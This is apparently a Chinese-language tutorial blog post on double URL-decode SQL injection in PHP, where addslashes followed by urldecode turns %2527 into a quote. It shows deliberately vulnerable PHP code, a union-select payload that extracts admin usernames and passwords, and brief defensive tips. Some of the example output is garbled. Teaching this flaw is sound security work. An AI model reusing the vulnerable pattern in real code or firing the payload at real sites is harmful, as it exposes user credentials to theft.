二次urldecode注入的原理
现在的web程序大多数都会进行参数过滤,通常使用addslashes()、mysql_real_escape_string()、mysql_escape_string()函数或者开启GPC的方式来防止注入,如果某处使用了urldecode或者rawurldecode函数,则会导致二次解码生成单引号而引发注入。
用下面的代码我们简单的了解一下。
<?php
$w = addslashes($_GET['id']);
$p = urldecode($w);
echo '$w = '.$w.'<br / >';
echo '$p = '.$p;
?>
我们提交/1.php?id=1%2527,因为我们提交的参数里面没有单引号,所以第一次解码后的结果是
w
=
1
w = 1%27,%25解码为%,如果程序里面使用了urldecode或者rawurldecode函数来解码id参数,解码后的结果为
w=1p = 1’单引号成功引发注入。
既然已经了解原理那么利用就非常的简单了。
二次urldecode注入的利用
二次urldecode注入的利用
<?php
$conn = mysqli_connect('127.0.0.1','root','root','qingfeng');
$uid = addslashes($_GET['id']);
$a = urldecode($uid);
$sql = "select * from news where id = '$a'";
$result = mysqli_query($conn,"$sql");
@$row = mysqli_fetch_row($result);
echo ('当前SQL语句:'.$sql.'<br />结果:');
print_r($row);
?>
打开网页可以看到内容(下图)。
看前面的原理我们已经知道用%2527代替单引号可以引发注入,那么这里我们直接使用。
闭合、注释成功执行,接下来就和普通的sql注入一样用联合查询就可以了。
id=1%2527 and 1=2 union select username,password from admin – a
成功的注入出了数据,管理员的账号密码。
二次urldecode注入的防御
- 可以循环判断传入执行的参数,对外部提交数据谨慎。
- 从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是辨别等
可以进群一起学习哦!!!